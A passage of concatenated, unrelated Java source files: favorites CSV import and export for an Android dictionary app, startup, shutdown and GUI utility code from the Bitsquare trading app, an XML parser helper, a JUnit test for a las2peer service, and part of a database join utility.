Toast.LENGTH_SHORT); t.show(); } catch (IOException e) { String message = getResources().getString(R.string.export_error); Toast.makeText(Favorites.this, String.format(message, e.getMessage()), Toast.LENGTH_SHORT) .show(); } finally { if (writer != null) { try { writer.close(); } catch (IOException e) { Log.w(TAG, "error closing CSV writer", e); } } if (c != null) { c.close(); } } } @Override protected void doImport(String importFile) { CSVReader reader = null; db.beginTransaction(); try { db.deleteAllFavorites(); reader = new CSVReader(new FileReader(importFile)); if (reader == null) { return; } String[] record = null; int count = 0; while ((record = reader.readNext()) != null) { WwwjdicEntry entry = FavoritesEntryParser .fromStringArray(record); long time = Long .parseLong(record[FavoritesEntryParser.TIME_IDX]); db.addFavorite(entry, time); count++; } db.setTransactionSuccessful(); refresh(); Analytics.event("favoritesImport", this); String message = getResources().getString( R.string.favorites_imported); Toast t = Toast.makeText(this, String.format(message, importFile, count), Toast.LENGTH_SHORT); t.show(); } catch (IOException e) { Log.e(TAG, "error importing favorites", e); String message = getResources().getString(R.string.import_error); Toast.makeText(this, String.format(message, e.getMessage()), Toast.LENGTH_SHORT).show(); } finally { if (reader != null) { try { reader.close(); } catch (IOException e) { Log.w(TAG, "error closing CSV reader", e); } } db.endTransaction(); } } @Override protected Cursor filterCursor() { if (selectedFilter == FILTER_ALL) { return db.getFavorites(); } return db.getFavoritesByType(selectedFilter); } @Override protected String[] getFilterTypes() { return getResources().getStringArray(R.array.filter_types_favorites); } }
package io.bitsquare.app; import ch.qos.logback.classic.Level; import ch.qos.logback.classic.Logger; import com.google.inject.Guice; import com.google.inject.Injector; import io.bitsquare.alert.AlertManager; import io.bitsquare.arbitration.ArbitratorManager; import io.bitsquare.btc.WalletService; import io.bitsquare.common.UserThread; import io.bitsquare.common.handlers.ResultHandler; import io.bitsquare.common.util.Utilities; import io.bitsquare.gui.SystemTray; import io.bitsquare.gui.common.UITimer; import io.bitsquare.gui.common.view.CachingViewLoader; import io.bitsquare.gui.common.view.View; import io.bitsquare.gui.common.view.ViewLoader; import io.bitsquare.gui.common.view.guice.InjectorViewFactory; import io.bitsquare.gui.main.MainView; import io.bitsquare.gui.main.MainViewModel; import io.bitsquare.gui.main.debug.DebugView; import io.bitsquare.gui.main.overlays.popups.Popup; import io.bitsquare.gui.main.overlays.windows.EmptyWalletWindow; import io.bitsquare.gui.main.overlays.windows.SendAlertMessageWindow; import io.bitsquare.gui.util.ImageUtil; import io.bitsquare.p2p.P2PService; import io.bitsquare.storage.Storage; import io.bitsquare.trade.offer.OpenOfferManager; import javafx.application.Application; import javafx.application.Platform; import javafx.scene.Parent; import javafx.scene.Scene; import javafx.scene.control.Label; import javafx.scene.image.Image; import javafx.scene.input.KeyCode; import javafx.scene.input.KeyCodeCombination; import javafx.scene.input.KeyCombination; import javafx.scene.input.KeyEvent; import javafx.scene.layout.Pane; import javafx.scene.layout.StackPane; import javafx.scene.text.Font; import javafx.stage.Modality; import javafx.stage.Stage; import javafx.stage.StageStyle; import org.apache.commons.lang3.exception.ExceptionUtils; import org.bitcoinj.store.BlockStoreException; import org.bouncycastle.jce.provider.BouncyCastleProvider; import org.controlsfx.dialog.Dialogs; import org.reactfx.EventStreams; import org.slf4j.LoggerFactory; import org.springframework.core.env.Environment; import java.io.IOException; import java.nio.file.Paths; import java.security.Security; import java.util.ArrayList; import java.util.List; import static io.bitsquare.app.BitsquareEnvironment.APP_NAME_KEY; import static io.bitsquare.app.BitsquareEnvironment.LOG_LEVEL_KEY; public class BitsquareApp extends Application { private static final Logger log = (ch.qos.logback.classic.Logger) LoggerFactory.getLogger(BitsquareApp.class); private static Environment env; private BitsquareAppModule bitsquareAppModule; private Injector injector; private boolean popupOpened; private static Stage primaryStage; private Scene scene; private final List<String> corruptedDatabaseFiles = new ArrayList<>(); private MainView mainView; public static Runnable shutDownHandler; private boolean shutDownRequested; public static void setEnvironment(Environment env) { BitsquareApp.env = env; } @Override public void start(Stage stage) throws IOException { BitsquareApp.primaryStage = stage; String logPath = Paths.get(env.getProperty(BitsquareEnvironment.APP_DATA_DIR_KEY), "bitsquare").toString(); Log.setup(logPath); log.info("Log files under: " + logPath); Version.printVersion(); Utilities.printSysInfo(); Log.setLevel(Level.toLevel(env.getRequiredProperty(LOG_LEVEL_KEY))); UserThread.setExecutor(Platform::runLater); UserThread.setTimerClass(UITimer.class); // setup UncaughtExceptionHandler Thread.UncaughtExceptionHandler handler = (thread, throwable) -> { // Might come from another thread if (throwable.getCause() != null && throwable.getCause().getCause() != null && throwable.getCause().getCause() instanceof BlockStoreException) { log.error(throwable.getMessage()); } else { log.error("Uncaught Exception from thread " + Thread.currentThread().getName()); log.error("throwableMessage= " + throwable.getMessage()); log.error("throwableClass= " + throwable.getClass()); log.error("Stack trace:\n" + ExceptionUtils.getStackTrace(throwable)); throwable.printStackTrace(); UserThread.execute(() -> showErrorPopup(throwable, false)); } }; Thread.setDefaultUncaughtExceptionHandler(handler); Thread.currentThread().setUncaughtExceptionHandler(handler); if (Utilities.isRestrictedCryptography()) Utilities.removeCryptographyRestrictions(); Security.addProvider(new BouncyCastleProvider()); shutDownHandler = this::stop; try { // Guice bitsquareAppModule = new BitsquareAppModule(env, primaryStage); injector = Guice.createInjector(bitsquareAppModule); injector.getInstance(InjectorViewFactory.class).setInjector(injector); Version.setBtcNetworkId(injector.getInstance(BitsquareEnvironment.class).getBitcoinNetwork().ordinal()); if (Utilities.isLinux()) System.setProperty("prism.lcdtext", "false"); Storage.setDatabaseCorruptionHandler((String fileName) -> { corruptedDatabaseFiles.add(fileName); if (mainView != null) mainView.setPersistedFilesCorrupted(corruptedDatabaseFiles); }); // load the main view and create the main scene CachingViewLoader viewLoader = injector.getInstance(CachingViewLoader.class); mainView = (MainView) viewLoader.load(MainView.class); mainView.setPersistedFilesCorrupted(corruptedDatabaseFiles); /* Storage.setDatabaseCorruptionHandler((String fileName) -> { corruptedDatabaseFiles.add(fileName); if (mainView != null) mainView.setPersistedFilesCorrupted(corruptedDatabaseFiles); });*/ scene = new Scene(mainView.getRoot(), 1190, 740); if (Utilities.isWindows()) { Font.loadFont(getClass().getResource("/fonts/Verdana.ttf").toExternalForm(), 13); Font.loadFont(getClass().getResource("/fonts/VerdanaBold.ttf").toExternalForm(), 13); Font.loadFont(getClass().getResource("/fonts/VerdanaItalic.ttf").toExternalForm(), 13); Font.loadFont(getClass().getResource("/fonts/VerdanaBoldItalic.ttf").toExternalForm(), 13); scene.getStylesheets().setAll( "/io/bitsquare/gui/bs_root_windows.css", "/io/bitsquare/gui/bitsquare.css", "/io/bitsquare/gui/images.css"); } else { Font.loadFont(getClass().getResource("/fonts/ArialUnicode.ttf").toExternalForm(), 13); scene.getStylesheets().setAll( "/io/bitsquare/gui/bs_root.css", "/io/bitsquare/gui/bitsquare.css", "/io/bitsquare/gui/images.css"); } // configure the system tray SystemTray.create(primaryStage, shutDownHandler); primaryStage.setOnCloseRequest(event -> { event.consume(); stop(); }); scene.addEventHandler(KeyEvent.KEY_RELEASED, keyEvent -> { if (new KeyCodeCombination(KeyCode.W, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) { stop(); } else if (new KeyCodeCombination(KeyCode.Q, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) { stop(); } else if (new KeyCodeCombination(KeyCode.E, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) { showEmptyWalletPopup(); } else if (new KeyCodeCombination(KeyCode.M, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) { showSendAlertMessagePopup(); } else if (new KeyCodeCombination(KeyCode.F, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) showFPSWindow(); else if (DevFlags.DEV_MODE) { if (new KeyCodeCombination(KeyCode.D, KeyCombination.SHORTCUT_DOWN).match(keyEvent)) showDebugWindow(); } }); // configure the primary stage primaryStage.setTitle(env.getRequiredProperty(APP_NAME_KEY)); primaryStage.setScene(scene); primaryStage.setMinWidth(1170); primaryStage.setMinHeight(620); // on windows the title icon is also used as task bar icon in a larger size // on Linux no title icon is supported but also a large task bar icon is derived form that title icon String iconPath; if (Utilities.isOSX()) iconPath = ImageUtil.isRetina() ? "/images/window_icon@2x.png" : "/images/window_icon.png"; else if (Utilities.isWindows()) iconPath = "/images/task_bar_icon_windows.png"; else iconPath = "/images/task_bar_icon_linux.png"; primaryStage.getIcons().add(new Image(getClass().getResourceAsStream(iconPath))); // make the UI visible primaryStage.show(); if (!Utilities.isCorrectOSArchitecture()) { String osArchitecture = Utilities.getOSArchitecture(); // We don't force a shutdown as the osArchitecture might in strange cases return a wrong value. // Needs at least more testing on different machines... new Popup<>().warning("You have probably the wrong version installed for the architecture of your computer.\n" + "Your computers architecture is: " + osArchitecture + ".\n" + "The Bitsquare binary you installed is: " + Utilities.getJVMArchitecture() + ".\n" + "Please shut down and re-install the correct version (" + osArchitecture + ").") .show(); } } catch (Throwable throwable) { showErrorPopup(throwable, false); } } private void showSendAlertMessagePopup() { AlertManager alertManager = injector.getInstance(AlertManager.class); new SendAlertMessageWindow() .onAddAlertMessage(alertManager::addAlertMessageIfKeyIsValid) .onRemoveAlertMessage(alertManager::removeAlertMessageIfKeyIsValid) .show(); } private void showEmptyWalletPopup() { injector.getInstance(EmptyWalletWindow.class).show(); } private void showErrorPopup(Throwable throwable, boolean doShutDown) { if (!shutDownRequested) { if (scene == null) { log.warn("Scene not available yet, we create a new scene. The bug might be caused by a guice circular dependency."); scene = new Scene(new StackPane(), 1000, 650); scene.getStylesheets().setAll( "/io/bitsquare/gui/bitsquare.css", "/io/bitsquare/gui/images.css"); primaryStage.setScene(scene); primaryStage.show(); } try { try { if (!popupOpened) { String message = throwable.getMessage(); popupOpened = true; if (message != null) new Popup().error(message).onClose(() -> popupOpened = false).show(); else new Popup().error(throwable.toString()).onClose(() -> popupOpened = false).show(); } } catch (Throwable throwable3) { log.error("Error at displaying Throwable."); throwable3.printStackTrace(); } if (doShutDown) stop(); } catch (Throwable throwable2) { // If printStackTrace cause a further exception we don't pass the throwable to the Popup. Dialogs.create() .owner(primaryStage) .title("Error") .message(throwable.toString()) .masthead("A fatal exception occurred at startup.") .showError(); if (doShutDown) stop(); } } } // Used for debugging trade process private void showDebugWindow() { ViewLoader viewLoader = injector.getInstance(ViewLoader.class); View debugView = viewLoader.load(DebugView.class); Parent parent = (Parent) debugView.getRoot(); Stage stage = new Stage(); stage.setScene(new Scene(parent)); stage.setTitle("Debug window"); stage.initModality(Modality.NONE); stage.initStyle(StageStyle.UTILITY); stage.initOwner(scene.getWindow()); stage.setX(primaryStage.getX() + primaryStage.getWidth() + 10); stage.setY(primaryStage.getY()); stage.show(); } private void showFPSWindow() { Label label = new Label(); EventStreams.animationTicks() .latestN(100) .map(ticks -> { int n = ticks.size() - 1; return n * 1_000_000_000.0 / (ticks.get(n) - ticks.get(0)); }) .map(d -> String.format("FPS: %.3f", d)) .feedTo(label.textProperty()); Pane root = new StackPane(); root.getChildren().add(label); Stage stage = new Stage(); stage.setScene(new Scene(root)); stage.setTitle("FPS"); stage.initModality(Modality.NONE); stage.initStyle(StageStyle.UTILITY); stage.initOwner(scene.getWindow()); stage.setX(primaryStage.getX() + primaryStage.getWidth() + 10); stage.setY(primaryStage.getY()); stage.setWidth(200); stage.setHeight(100); stage.show(); } @Override public void stop() { shutDownRequested = true; gracefulShutDown(() -> { log.info("App shutdown complete"); System.exit(0); }); } private void gracefulShutDown(ResultHandler resultHandler) { log.debug("gracefulShutDown"); new Popup().headLine("Shut down in progress") .backgroundInfo("Shutting down application can take a few seconds.\n" + "Please don't interrupt that process.") .hideCloseButton() .useAnimation(false) .show(); try { if (injector != null) { injector.getInstance(ArbitratorManager.class).shutDown(); injector.getInstance(MainViewModel.class).shutDown(); injector.getInstance(OpenOfferManager.class).shutDown(() -> { injector.getInstance(P2PService.class).shutDown(() -> { injector.getInstance(WalletService.class).shutDownDone.addListener((ov, o, n) -> { bitsquareAppModule.close(injector); log.info("Graceful shutdown completed"); resultHandler.handleResult(); }); injector.getInstance(WalletService.class).shutDown(); }); }); // we wait max 5 sec. UserThread.runAfter(resultHandler::handleResult, 5); } else { UserThread.runAfter(resultHandler::handleResult, 1); } } catch (Throwable t) { log.info("App shutdown failed with exception"); t.printStackTrace(); System.exit(1); } } }
package jlibs.xml.sax.async; import jlibs.xml.sax.SAXDelegate; import org.xml.sax.SAXException; import java.util.ArrayDeque; /** * @author Santhosh Kumar T */ class Elements{ private final Namespaces namespaces; private final Attributes attributes; private final SAXDelegate handler; public Elements(SAXDelegate handler, Namespaces namespaces, Attributes attributes){ this.handler = handler; this.namespaces = namespaces; this.attributes = attributes; } private final ArrayDeque<String> uris = new ArrayDeque<String>(); private final ArrayDeque<String> localNames = new ArrayDeque<String>(); private final ArrayDeque<String> names = new ArrayDeque<String>(); public void reset(){ uris.clear(); localNames.clear(); names.clear(); } public String currentElementName(){ return names.peekFirst(); } public void push1(QName qname){ uris.addFirst(qname.prefix); // replaced with actual uri in push2() localNames.addFirst(qname.localName); names.addFirst(qname.name); namespaces.push(); attributes.reset(); } public String push2() throws SAXException{ String name = names.peekFirst(); String error = attributes.fixAttributes(name); if(error!=null) return error; String prefix = uris.pollFirst(); String uri = namespaces.getNamespaceURI(prefix); if(uri==null) return "Unbound prefix: "+prefix; uris.addFirst(uri); handler.startElement(uri, localNames.peekFirst(), name, attributes.get()); return null; } public String pop(String elemName) throws SAXException{ if(elemName==null) elemName = names.pollFirst(); else{ String startName = names.pollFirst(); if(!startName.equals(elemName)) return "expected </"+startName+">"; } handler.endElement(uris.pollFirst(), localNames.pollFirst(), elemName); namespaces.pop(); return null; } }
package io.bitsquare.gui.util; import com.google.common.base.Charsets; import com.googlecode.jcsv.CSVStrategy; import com.googlecode.jcsv.writer.CSVEntryConverter; import com.googlecode.jcsv.writer.CSVWriter; import com.googlecode.jcsv.writer.internal.CSVWriterBuilder; import io.bitsquare.app.DevFlags; import io.bitsquare.common.util.Utilities; import io.bitsquare.gui.main.overlays.popups.Popup; import io.bitsquare.locale.CryptoCurrency; import io.bitsquare.locale.CurrencyUtil; import io.bitsquare.locale.FiatCurrency; import io.bitsquare.locale.TradeCurrency; import io.bitsquare.payment.PaymentAccount; import io.bitsquare.storage.Storage; import io.bitsquare.user.Preferences; import io.bitsquare.user.User; import javafx.collections.ObservableList; import javafx.geometry.Orientation; import javafx.scene.Node; import javafx.scene.control.ScrollBar; import javafx.stage.DirectoryChooser; import javafx.stage.FileChooser; import javafx.stage.Stage; import javafx.util.StringConverter; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.annotation.Nullable; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.net.URI; import java.net.URISyntaxException; import java.net.URLEncoder; import java.nio.file.Paths; import java.util.*; import java.util.stream.Collectors; public class GUIUtil { private static final Logger log = LoggerFactory.getLogger(GUIUtil.class); public final static String SHOW_ALL_FLAG = "SHOW_ALL_FLAG"; public final static String EDIT_FLAG = "EDIT_FLAG"; public static double getScrollbarWidth(Node scrollablePane) { Node node = scrollablePane.lookup(".scroll-bar"); if (node instanceof ScrollBar) { final ScrollBar bar = (ScrollBar) node; if (bar.getOrientation().equals(Orientation.VERTICAL)) return bar.getWidth(); } return 0; } public static void showFeeInfoBeforeExecute(Runnable runnable) { String key = "miningFeeInfo"; if (!DevFlags.DEV_MODE && Preferences.INSTANCE.showAgain(key)) { new Popup<>().information("Please be sure that the mining fee used at your external wallet is " + "sufficiently high so that the funding transaction will be accepted by the miners.\n" + "Otherwise the trade transactions cannot be confirmed and a trade would end up in a dispute.\n\n" + "The recommended fee is about 0.0001 - 0.0002 BTC.\n\n" + "You can view typically used fees at: https://tradeblock.com/blockchain") .dontShowAgainId(key, Preferences.INSTANCE) .onClose(runnable::run) .closeButtonText("I understand") .show(); } else { runnable.run(); } } public static void exportAccounts(ArrayList<PaymentAccount> accounts, String fileName, Preferences preferences, Stage stage) { if (!accounts.isEmpty()) { String directory = getDirectoryFormChooser(preferences, stage); Storage<ArrayList<PaymentAccount>> paymentAccountsStorage = new Storage<>(new File(directory)); paymentAccountsStorage.initAndGetPersisted(accounts, fileName); paymentAccountsStorage.queueUpForSave(); new Popup<>().feedback("Trading accounts saved to path:\n" + Paths.get(directory, fileName).toAbsolutePath()).show(); } else { new Popup<>().warning("You don't have trading accounts set up for exporting.").show(); } } public static void importAccounts(User user, String fileName, Preferences preferences, Stage stage) { FileChooser fileChooser = new FileChooser(); fileChooser.setInitialDirectory(new File(preferences.getDefaultPath())); fileChooser.setTitle("Select path to " + fileName); File file = fileChooser.showOpenDialog(stage.getOwner()); if (file != null) { String path = file.getAbsolutePath(); if (Paths.get(path).getFileName().toString().equals(fileName)) { String directory = Paths.get(path).getParent().toString(); preferences.setDefaultPath(directory); Storage<ArrayList<PaymentAccount>> paymentAccountsStorage = new Storage<>(new File(directory)); ArrayList<PaymentAccount> persisted = paymentAccountsStorage.initAndGetPersistedWithFileName(fileName); if (persisted != null) { final StringBuilder msg = new StringBuilder(); persisted.stream().forEach(paymentAccount -> { final String id = paymentAccount.getId(); if (user.getPaymentAccount(id) == null) { user.addPaymentAccount(paymentAccount); msg.append("Trading account with id ").append(id).append("\n"); } else { msg.append("We did not import trading account with id ").append(id).append(" because it exists already.\n"); } }); new Popup<>().feedback("Trading account imported from path:\n" + path + "\n\nImported accounts:\n" + msg).show(); } else { new Popup<>().warning("No exported trading accounts has been found at path: " + path + ".\n" + "File name is " + fileName + ".").show(); } } else { new Popup<>().warning("The selected file is not the expected file for import. The expected file name is: " + fileName + ".").show(); } } } public static <T> void exportCSV(String fileName, CSVEntryConverter<T> headerConverter, CSVEntryConverter<T> contentConverter, T emptyItem, List<T> list, Stage stage) { FileChooser fileChooser = new FileChooser(); fileChooser.setInitialFileName(fileName); File file = fileChooser.showSaveDialog(stage); try (OutputStreamWriter outputStreamWriter = new OutputStreamWriter(new FileOutputStream(file, false), Charsets.UTF_8)) { CSVWriter<T> headerWriter = new CSVWriterBuilder<T>(outputStreamWriter) .strategy(CSVStrategy.UK_DEFAULT) .entryConverter(headerConverter) .build(); headerWriter.write(emptyItem); CSVWriter<T> contentWriter = new CSVWriterBuilder<T>(outputStreamWriter) .strategy(CSVStrategy.UK_DEFAULT) .entryConverter(contentConverter) .build(); contentWriter.writeAll(list); } catch (RuntimeException | IOException e) { e.printStackTrace(); log.error(e.getMessage()); new Popup().error("Exporting to CSV failed because of an error.\n" + "Error = " + e.getMessage()); } } public static String getDirectoryFormChooser(Preferences preferences, Stage stage) { DirectoryChooser directoryChooser = new DirectoryChooser(); directoryChooser.setInitialDirectory(new File(preferences.getDefaultPath())); directoryChooser.setTitle("Select export path"); File dir = directoryChooser.showDialog(stage); if (dir != null) { String directory = dir.getAbsolutePath(); preferences.setDefaultPath(directory); return directory; } else { return ""; } } public static StringConverter<CurrencyListItem> getCurrencyListItemConverter(String postFix, Preferences preferences) { return new StringConverter<CurrencyListItem>() { @Override public String toString(CurrencyListItem item) { TradeCurrency tradeCurrency = item.tradeCurrency; String code = tradeCurrency.getCode(); if (code.equals(GUIUtil.SHOW_ALL_FLAG)) return " Show all"; else if (code.equals(GUIUtil.EDIT_FLAG)) return " Edit currency list"; else { String displayString = CurrencyUtil.getNameByCode(code) + " (" + code + ")"; if (preferences.getSortMarketCurrenciesNumerically()) displayString += " - " + item.numTrades + " " + postFix; if (tradeCurrency instanceof FiatCurrency) return " " + displayString; else if (tradeCurrency instanceof CryptoCurrency) { return " " + displayString; } else return "-"; } } @Override public CurrencyListItem fromString(String s) { return null; } }; } public static StringConverter<TradeCurrency> getTradeCurrencyConverter() { return new StringConverter<TradeCurrency>() { @Override public String toString(TradeCurrency tradeCurrency) { String code = tradeCurrency.getCode(); final String displayString = CurrencyUtil.getNameAndCode(code); if (code.equals(GUIUtil.SHOW_ALL_FLAG)) return " Show all"; else if (code.equals(GUIUtil.EDIT_FLAG)) return " Edit currency list"; else if (tradeCurrency instanceof FiatCurrency) return " " + displayString; else if (tradeCurrency instanceof CryptoCurrency) { return " " + displayString; } else return "-"; } @Override public TradeCurrency fromString(String s) { return null; } }; } public static void fillCurrencyListItems(List<TradeCurrency> tradeCurrencyList, ObservableList<CurrencyListItem> currencyListItems, @Nullable CurrencyListItem showAllCurrencyListItem, Preferences preferences) { Set<TradeCurrency> tradeCurrencySet = new HashSet<>(); Map<String, Integer> tradesPerCurrencyMap = new HashMap<>(); tradeCurrencyList.stream().forEach(tradeCurrency -> { tradeCurrencySet.add(tradeCurrency); String code = tradeCurrency.getCode(); if (tradesPerCurrencyMap.containsKey(code)) tradesPerCurrencyMap.put(code, tradesPerCurrencyMap.get(code) + 1); else tradesPerCurrencyMap.put(code, 1); }); List<CurrencyListItem> list = tradeCurrencySet.stream() .filter(e -> CurrencyUtil.isFiatCurrency(e.getCode())) .map(e -> new CurrencyListItem(e, tradesPerCurrencyMap.get(e.getCode()))) .collect(Collectors.toList()); List<CurrencyListItem> cryptoList = tradeCurrencySet.stream() .filter(e -> CurrencyUtil.isCryptoCurrency(e.getCode())) .map(e -> new CurrencyListItem(e, tradesPerCurrencyMap.get(e.getCode()))) .collect(Collectors.toList()); if (preferences.getSortMarketCurrenciesNumerically()) { list.sort((o1, o2) -> new Integer(o2.numTrades).compareTo(o1.numTrades)); cryptoList.sort((o1, o2) -> new Integer(o2.numTrades).compareTo(o1.numTrades)); } else { list.sort((o1, o2) -> o1.tradeCurrency.compareTo(o2.tradeCurrency)); cryptoList.sort((o1, o2) -> o1.tradeCurrency.compareTo(o2.tradeCurrency)); } list.addAll(cryptoList); if (showAllCurrencyListItem != null) list.add(0, showAllCurrencyListItem); currencyListItems.setAll(list); } public static void openWebPage(String target) { String key = "warnOpenURLWhenTorEnabled"; final Preferences preferences = Preferences.INSTANCE; if (preferences.getUseTorForHttpRequests() && preferences.showAgain(key)) { new Popup<>().information("You have Tor enabled for Http requests and are going to open a web page " + "in your system web browser.\n" + "Do you want to open the web page now?\n\n" + "If you are not using the \"Tor Browser\" as your default system web browser you " + "will connect to the web page in clear net.\n\n" + "URL: \"" + target) .actionButtonText("Open the web page and don't ask again") .onAction(() -> { preferences.dontShowAgain(key, true); doOpenWebPage(target); }) .closeButtonText("Copy URL and cancel") .onClose(() -> Utilities.copyToClipboard(target)) .show(); } else { doOpenWebPage(target); } } private static void doOpenWebPage(String target) { try { Utilities.openURI(new URI(target)); } catch (Exception e) { e.printStackTrace(); log.error(e.getMessage()); } } public static void openMail(String to, String subject, String body) { try { subject = URLEncoder.encode(subject, "UTF-8").replace("+", "%20"); body = URLEncoder.encode(body, "UTF-8").replace("+", "%20"); Utilities.openURI(new URI("mailto:" + to + "?subject=" + subject + "&body=" + body)); } catch (IOException | URISyntaxException e) { log.error("openMail failed " + e.getMessage()); e.printStackTrace(); } } }
public class Ex { public void frotz(Object o, int y) { if (y == 6) { synchronized (o) { y += o.hashCode(); if ((y & 1) == 0) throw new RuntimeException(); } } } public void alwaysThrow() { throw new RuntimeException(); } }
package i5.las2peer.services.servicePackage; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import i5.las2peer.p2p.LocalNode; import i5.las2peer.security.ServiceAgent; import i5.las2peer.security.UserAgent; import i5.las2peer.testing.MockAgentFactory; import i5.las2peer.webConnector.WebConnector; import i5.las2peer.webConnector.client.ClientResponse; import i5.las2peer.webConnector.client.MiniClient; import java.io.ByteArrayOutputStream; import java.io.PrintStream; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; /** * Example Test Class demonstrating a basic JUnit test structure. * * * */ public class ServiceTest { private static final String HTTP_ADDRESS = "http://127.0.0.1"; private static final int HTTP_PORT = WebConnector.DEFAULT_HTTP_PORT; private static LocalNode node; private static WebConnector connector; private static ByteArrayOutputStream logStream; private static UserAgent testAgent; private static final String testPass = "adamspass"; private static final String testServiceClass = "i5.las2peer.services.servicePackage.ServiceClass"; private static final String mainPath = "example/"; /** * Called before the tests start. * * Sets up the node and initializes connector and users that can be used throughout the tests. * * @throws Exception */ @BeforeClass public static void startServer() throws Exception { //start node node = LocalNode.newNode(); node.storeAgent(MockAgentFactory.getAdam()); node.launch(); ServiceAgent testService = ServiceAgent.generateNewAgent(testServiceClass, "a pass"); testService.unlockPrivateKey("a pass"); node.registerReceiver(testService); //start connector logStream = new ByteArrayOutputStream (); connector = new WebConnector(true,HTTP_PORT,false,1000); connector.setSocketTimeout(10000); connector.setLogStream(new PrintStream (logStream)); connector.start ( node ); Thread.sleep(1000); //wait a second for the connector to become ready testAgent = MockAgentFactory.getAdam(); connector.updateServiceList(); //avoid timing errors: wait for the repository manager to get all services before continuing try { System.out.println("waiting.."); Thread.sleep(10000); } catch(InterruptedException e) { e.printStackTrace(); } } /** * Called after the tests have finished. * Shuts down the server and prints out the connector log file for reference. * * @throws Exception */ @AfterClass public static void shutDownServer () throws Exception { connector.stop(); node.shutDown(); connector = null; node = null; LocalNode.reset(); System.out.println("Connector-Log:"); System.out.println(" System.out.println(logStream.toString()); } /** * * Tests the validation method. * */ @Test public void testValidateLogin() { MiniClient c = new MiniClient(); c.setAddressPort(HTTP_ADDRESS, HTTP_PORT); try { c.setLogin(Long.toString(testAgent.getId()), testPass); ClientResponse result=c.sendRequest("GET", mainPath +"validation", ""); assertEquals(200, result.getHttpCode()); assertTrue(result.getResponse().trim().contains("adam")); //login name is part of response System.out.println("Result of 'testValidateLogin': " + result.getResponse().trim()); } catch(Exception e) { e.printStackTrace(); fail ( "Exception: " + e ); } } /** * * Test the example method that consumes one path parameter * which we give the value "testInput" in this test. * */ @Test public void testExampleMethod() { MiniClient c = new MiniClient(); c.setAddressPort(HTTP_ADDRESS, HTTP_PORT); try { c.setLogin(Long.toString(testAgent.getId()), testPass); ClientResponse result=c.sendRequest("POST", mainPath +"myResourcePath/testInput", ""); //testInput is the pathParam assertEquals(200, result.getHttpCode()); assertTrue(result.getResponse().trim().contains("testInput")); //"testInput" name is part of response System.out.println("Result of 'testExampleMethod': " + result.getResponse().trim()); } catch(Exception e) { e.printStackTrace(); fail ( "Exception: " + e ); } } /** * Test the ServiceClass for valid rest mapping. * Important for development. */ @Test public void testDebugMapping() { ServiceClass cl = new ServiceClass(); assertTrue(cl.debugMapping()); } }
package app.hongs.db.util; import app.hongs.HongsException; import app.hongs.db.DB; import app.hongs.db.Table; import app.hongs.db.link.Loop; import app.hongs.util.Synt; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * * * <h3>:</h3> * <pre> * 0x10c0 , * </pre> * * @author Hongs */ public class FetchMore { protected List<Map> rows; public FetchMore(List<Map> rows) { this.rows = rows; } /** * ID * * @param map * @param keys */ private void maping(Map<String, List> map, List rows, String... keys) { Iterator it = rows.iterator(); W:while (it.hasNext()) { Object row = it.next(); Object obj = row; for (int i = 0; i < keys.length; i ++) { if (obj instanceof Map ) { obj = ((Map)obj).get(keys[i]); } else if (obj instanceof List) { int j = keys.length - i ; String[] keyz = new String[j]; System.arraycopy(keys,i, keyz,0,j); this.maping(map, (List) obj, keyz); continue W; } else { continue W; } } if (obj == null) { continue; } String str = obj.toString( ); if (map.containsKey(str)) { map.get(str ).add(row); } else { List lst = new ArrayList(); map.put(str , lst); lst.add(row); } } } public Map<String, List> maping(String... keys) { Map<String, List> map = new HashMap(); maping(map, rows, keys); return map; } public Map<String, List> mapped(String key) { Map<String, List> map = new HashMap(); maping(map, rows, key.split( "\\." )); return map; } /** * * @param table * @param caze * @param map * @param col * @throws app.hongs.HongsException */ public void join(Table table, FetchCase caze, Map<String,List> map, String col) throws HongsException { if (this.rows.isEmpty()) { return; } DB db = table.db; String name = table.name; String tableName = table.tableName; boolean fills = caze.getOption("ASSOC_FILLS", false); boolean multi = caze.getOption("ASSOC_MULTI", false); boolean merge = caze.getOption("ASSOC_MERGE", false); if (null != caze.name && 0 != caze.name.length()) { name = caze.name; } Set ids = map.keySet(); if (ids.isEmpty()) { //throw new HongsException(0x10c0, "Ids map is empty"); return; } String rel = col; if (table.getFields().containsKey(col)) { col = ".`" + col + "`"; } else { Pattern pattern; Matcher matcher; do { pattern = Pattern.compile( "^(.+?)(?:\\s+AS)?\\s+`?(.+?)`?$", Pattern.CASE_INSENSITIVE ); matcher = pattern.matcher(col); if (matcher.find()) { col = matcher.group(1); rel = matcher.group(2); break; } pattern = Pattern.compile( "^(.+?)\\.\\s*`?(.+?)`?$"); matcher = pattern.matcher(col); if (matcher.find()) { col = matcher.group(0); rel = matcher.group(2); break; } } while (false); } caze.filter(col + " IN (?)" , ids) .from (tableName, name); Loop rs = db.queryMore(caze); Set idz = new HashSet(); Map row, sub; List lst; String sid; if (! multi) { while ((sub = rs.next()) != null) { sid = Synt.declare(sub.get(rel), String.class); lst = map.get(sid); idz.add(sid); if (lst == null) { //throw new HongsException(0x10c0, "Line nums is null"); continue; } Iterator it = lst.iterator(); while (it.hasNext()) { row = (Map) it.next(); if (! merge) { row.put(name, sub); } else { sub.putAll(row); row.putAll(sub); } } } } else { while ((sub = rs.next()) != null) { sid = Synt.declare(sub.get(rel), String.class); lst = map.get(sid); idz.add(sid); if (lst == null) { //throw new HongsException(0x10c0, "Line nums is null"); continue; } Iterator it = lst.iterator(); while (it.hasNext()) { row = (Map) it.next(); if (row.containsKey(name)) { (( List ) row.get(name)).add(sub); } else { List lzt = new ArrayList(); row.put(name, lzt); lzt.add(sub); } } } } if (! fills) { return; } if (! multi && merge) { Set<String> padSet = rs.getTypeDict( ).keySet(); for(Map.Entry<String, List> et : map.entrySet()) { String colKey = et.getKey(); if (idz.contains( colKey )) { continue; } List<Map> mapLst = 